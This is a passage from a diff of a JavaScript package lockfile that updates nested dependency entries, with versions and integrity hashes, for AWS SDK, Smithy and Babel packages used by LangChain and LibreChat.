"@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@smithy/eventstream-codec": ["@smithy/eventstream-codec@4.2.4", "", { "dependencies": { "@aws-crypto/crc32": "5.2.0", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-aV8blR9RBDKrOlZVgjOdmOibTC2sBXNiT7WA558b4MPdsLTV6sbyc1WIE9QiIuYMJjYtnPLciefoqSW8Gi+MZQ=="],
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@smithy/signature-v4": ["@smithy/signature-v4@5.3.4", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-uri-escape": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-ScDCpasxH7w1HXHYbtk3jcivjvdA1VICyAdgvVqKhKKwxi+MTwZEqFw0minE+oZ7F07oF25xh4FGJxgqgShz0A=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/middleware-websocket/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/token-providers/@aws-sdk/nested-clients": ["@aws-sdk/nested-clients@3.927.0", "", { "dependencies": { "@aws-crypto/sha256-browser": "5.2.0", "@aws-crypto/sha256-js": "5.2.0", "@aws-sdk/core": "3.927.0", "@aws-sdk/middleware-host-header": "3.922.0", "@aws-sdk/middleware-logger": "3.922.0", "@aws-sdk/middleware-recursion-detection": "3.922.0", "@aws-sdk/middleware-user-agent": "3.927.0", "@aws-sdk/region-config-resolver": "3.925.0", "@aws-sdk/types": "3.922.0", "@aws-sdk/util-endpoints": "3.922.0", "@aws-sdk/util-user-agent-browser": "3.922.0", "@aws-sdk/util-user-agent-node": "3.927.0", "@smithy/config-resolver": "^4.4.2", "@smithy/core": "^3.17.2", "@smithy/fetch-http-handler": "^5.3.5", "@smithy/hash-node": "^4.2.4", "@smithy/invalid-dependency": "^4.2.4", "@smithy/middleware-content-length": "^4.2.4", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-retry": "^4.4.6", "@smithy/middleware-serde": "^4.2.4", "@smithy/middleware-stack": "^4.2.4", "@smithy/node-config-provider": "^4.3.4", "@smithy/node-http-handler": "^4.4.4", "@smithy/protocol-http": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/url-parser": "^4.2.4", "@smithy/util-base64": "^4.3.0", "@smithy/util-body-length-browser": "^4.2.0", "@smithy/util-body-length-node": "^4.2.1", "@smithy/util-defaults-mode-browser": "^4.3.5", "@smithy/util-defaults-mode-node": "^4.2.8", "@smithy/util-endpoints": "^3.2.4", "@smithy/util-middleware": "^4.2.4", "@smithy/util-retry": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-Oy6w7+fzIdr10DhF/HpfVLy6raZFTdiE7pxS1rvpuj2JgxzW2y6urm2sYf3eLOpMiHyuG4xUBwFiJpU9CCEvJA=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@aws-sdk/token-providers/@smithy/property-provider": ["@smithy/property-provider@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-g2DHo08IhxV5GdY3Cpt/jr0mkTlAD39EJKN27Jb5N8Fb5qt8KG39wVKTXiTRCmHHou7lbXR8nKVU14/aRUf86w=="],
@@ -7983,6 +7847,10 @@
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/config-resolver/@smithy/util-config-provider": ["@smithy/util-config-provider@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-YEjpl6XJ36FTKmD+kRJJWYvrHeUvm5ykaUS5xK+6oXffQPHeEM4/nXlZPe+Wu0lsgRUcNZiliYNh/y7q9c2y6Q=="],
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-browser/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.4", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-GNI/IXaY/XBB1SkGBFmbW033uWA0tj085eCxYih0eccUe/PFR7+UBQv9HNDk2fD9TJu7UVsCWsH99TkpEPSOzQ=="],
+
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/eventstream-serde-node/@smithy/eventstream-serde-universal": ["@smithy/eventstream-serde-universal@4.2.4", "", { "dependencies": { "@smithy/eventstream-codec": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-GNI/IXaY/XBB1SkGBFmbW033uWA0tj085eCxYih0eccUe/PFR7+UBQv9HNDk2fD9TJu7UVsCWsH99TkpEPSOzQ=="],
+
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/fetch-http-handler/@smithy/querystring-builder": ["@smithy/querystring-builder@4.2.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "@smithy/util-uri-escape": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-KQ1gFXXC+WsbPFnk7pzskzOpn4s+KheWgO3dzkIEmnb6NskAIGp/dGdbKisTPJdtov28qNDohQrgDUKzXZBLig=="],
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/hash-node/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
@@ -8013,6 +7881,8 @@
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-stream/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
+ "@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-stream/@smithy/util-hex-encoding": ["@smithy/util-hex-encoding@4.2.0", "", { "dependencies": { "tslib": "^2.6.2" } }, "sha512-CCQBwJIvXMLKxVbO88IukazJD9a4kQ9ZN7/UMGBjBcJYvatpWk+9g870El4cB8/EJxfe+k+y0GmR9CAzkF+Nbw=="],
+
"@langchain/aws/@aws-sdk/client-bedrock-runtime/@smithy/util-utf8/@smithy/util-buffer-from": ["@smithy/util-buffer-from@4.2.0", "", { "dependencies": { "@smithy/is-array-buffer": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-kAY9hTKulTNevM2nlRtxAG2FQ3B2OR6QIrPY3zE5LqJy1oxzmgBGsHLWTcNhWXKchgA0WHW+mZkQrng/pgcCew=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-env/@aws-sdk/core": ["@aws-sdk/core@3.927.0", "", { "dependencies": { "@aws-sdk/types": "3.922.0", "@aws-sdk/xml-builder": "3.921.0", "@smithy/core": "^3.17.2", "@smithy/node-config-provider": "^4.3.4", "@smithy/property-provider": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/signature-v4": "^5.3.4", "@smithy/smithy-client": "^4.9.2", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-middleware": "^4.2.4", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-QOtR9QdjNeC7bId3fc/6MnqoEezvQ2Fk+x6F+Auf7NhOxwYAtB1nvh0k3+gJHWVGpfxN1I8keahRZd79U68/ag=="],
@@ -8023,6 +7893,8 @@
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/node-http-handler": ["@smithy/node-http-handler@4.4.4", "", { "dependencies": { "@smithy/abort-controller": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/querystring-builder": "^4.2.4", "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-VXHGfzCXLZeKnFp6QXjAdy+U8JF9etfpUXD1FAbzY1GzsFJiDQRQIt2CnMUvUdz3/YaHNqT3RphVWMUpXTIODA=="],
+ "@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/protocol-http": ["@smithy/protocol-http@5.3.4", "", { "dependencies": { "@smithy/types": "^4.8.1", "tslib": "^2.6.2" } }, "sha512-3sfFd2MAzVt0Q/klOmjFi3oIkxczHs0avbwrfn1aBqtc23WqQSmjvk77MBw9WkEQcwbOYIX5/2z4ULj8DuxSsw=="],
+
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/smithy-client": ["@smithy/smithy-client@4.9.2", "", { "dependencies": { "@smithy/core": "^3.17.2", "@smithy/middleware-endpoint": "^4.3.6", "@smithy/middleware-stack": "^4.2.4", "@smithy/protocol-http": "^5.3.4", "@smithy/types": "^4.8.1", "@smithy/util-stream": "^4.5.5", "tslib": "^2.6.2" } }, "sha512-gZU4uAFcdrSi3io8U99Qs/FvVdRxPvIMToi+MFfsy/DN9UqtknJ1ais+2M9yR8e0ASQpNmFYEKeIKVcMjQg3rg=="],
"@langchain/aws/@aws-sdk/credential-provider-node/@aws-sdk/credential-provider-http/@smithy/util-stream": ["@smithy/util-stream@4.5.5", "", { "dependencies": { "@smithy/fetch-http-handler": "^5.3.5", "@smithy/node-http-handler": "^4.4.4", "@smithy/types": "^4.8.1", "@smithy/util-base64": "^4.3.0", "@smithy/util-buffer-from": "^4.2.0", "@smithy/util-hex-encoding": "^4.2.0", "@smithy/util-utf8": "^4.2.0", "tslib": "^2.6.2" } }, "sha512-7M5aVFjT+HPilPOKbOmQfCIPchZe4DSBc1wf1+NvHvSoFTiFtauZzT+onZvCj70xhXd0AEmYnZYmdJIuwxOo4w=="],
@@ -8051,125 +7923,7 @@
"@langchain/google-gauth/google-auth-library/gaxios/rimraf": ["rimraf@5.0.10", "", { "dependencies": { "glob": "^10.3.7" }, "bin": "dist/esm/bin.mjs" }, "sha512-l0OE8wL34P4nJH/H2ffoaniAokM2qSmrtXHmlpvYr5AVVX8msAyW0l8NVJFDxlSK4u3Uh/f41cQheDVdnYijwQ=="],
- "@librechat/client/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-class-static-block/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-classes/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-dotall-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-duplicate-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-for-of/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-named-capturing-groups-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-object-super/@babel/helper-replace-supers": ["@babel/helper-replace-supers@7.27.1", "", { "dependencies": { "@babel/helper-member-expression-to-functions": "^7.27.1", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7EHz6qDZc8RYS5ElPoShMheWvEgERonFCs7IAonWLLUTXW59DP14bCZt89/GKyreYn8g3S83m21FelHKbeDCKA=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-methods/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-private-property-in-object/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-regexp-modifiers/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-spread/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-property-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/client/@babel/preset-env/@babel/plugin-transform-unicode-sets-regex/@babel/helper-create-regexp-features-plugin": ["@babel/helper-create-regexp-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "regexpu-core": "^6.3.1", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-N1EhvLtHzOvj7QQOUCCS3NrPJP8c5W6ZXCHDn7Yialuy1iu4r5EmIYkXlKNqT99Ciw+W0mDqWoR6HWMZlFP3hw=="],
-
- "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs2/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
-
- "@librechat/client/@babel/preset-env/babel-plugin-polyfill-corejs3/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
-
- "@librechat/client/@babel/preset-env/babel-plugin-polyfill-regenerator/@babel/helper-define-polyfill-provider": ["@babel/helper-define-polyfill-provider@0.6.5", "", { "dependencies": { "@babel/helper-compilation-targets": "^7.27.2", "@babel/helper-plugin-utils": "^7.27.1", "debug": "^4.4.1", "lodash.debounce": "^4.0.8", "resolve": "^1.22.10" }, "peerDependencies": { "@babel/core": "^7.4.0 || ^8.0.0-0 <8.0.0" } }, "sha512-uJnGFcPsWQK8fvjgGP5LZUZZsYGIoPeRjSF5PGwrelYgq7Q15/Ft9NGFp1zglwgIv//W0uG4BevRuSJRyylZPg=="],
-
- "@librechat/client/@babel/preset-env/core-js-compat/browserslist": ["browserslist@4.28.0", "", { "dependencies": { "baseline-browser-mapping": "^2.8.25", "caniuse-lite": "^1.0.30001754", "electron-to-chromium": "^1.5.249", "node-releases": "^2.0.27", "update-browserslist-db": "^1.1.4" }, "bin": "cli.js" }, "sha512-tbydkR/CxfMwelN0vwdP/pLkDwyAASZ+VfWm4EOwlB6SWhx1sYnWLqo8N5j0rAzPfzfRaxt0mM/4wPU/Su84RQ=="],
-
- "@librechat/client/@babel/preset-react/@babel/plugin-transform-react-jsx/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-react/@babel/plugin-transform-react-pure-annotations/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-annotate-as-pure": ["@babel/helper-annotate-as-pure@7.27.3", "", { "dependencies": { "@babel/types": "^7.27.3" } }, "sha512-fXSwMQqitTGeHLBC08Eq5yXz2m37E4pJX1qAU1+2cNedz/ifv/bVXft90VeSav5nFO61EcNgwr0aJxbyPaWBPg=="],
-
- "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
- "@librechat/client/@babel/preset-typescript/@babel/plugin-transform-typescript/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/@babel/helper-skip-transparent-expression-wrappers": ["@babel/helper-skip-transparent-expression-wrappers@7.27.1", "", { "dependencies": { "@babel/traverse": "^7.27.1", "@babel/types": "^7.27.1" } }, "sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-generator-functions/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-async-to-generator/@babel/helper-remap-async-to-generator": ["@babel/helper-remap-async-to-generator@7.27.1", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.1", "@babel/helper-wrap-function": "^7.27.1", "@babel/traverse": "^7.27.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-7fiA521aVw8lSPeI4ZOD3vRFkoqkJcS+z4hFo82bFSH/2tNd6eJ5qCVMS5OzDmZh/kaHQeBaeyxK6wljcPtveA=="],
-
- "@librechat/frontend/@babel/preset-env/@babel/plugin-transform-class-properties/@babel/helper-create-class-features-plugin": ["@babel/helper-create-class-features-plugin@7.28.5", "", { "dependencies": { "@babel/helper-annotate-as-pure": "^7.27.3", "@babel/helper-member-expression-to-functions": "^7.28.5", "@babel/helper-optimise-call-expression": "^7.27.1", "@babel/helper-replace-supers": "^7.27.1", "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1", "@babel/traverse": "^7.28.5", "semver": "^6.3.1" }, "peerDependencies": { "@babel/core": "^7.0.0" } }, "sha512-q3WC4JfdODypvxArsJQROfupPBq9+lMwjKq7C33GhbFYJsufD0yd/ziwD+hJucLeWsnFPWZjsU2DNFqBPE7jwQ=="],
-
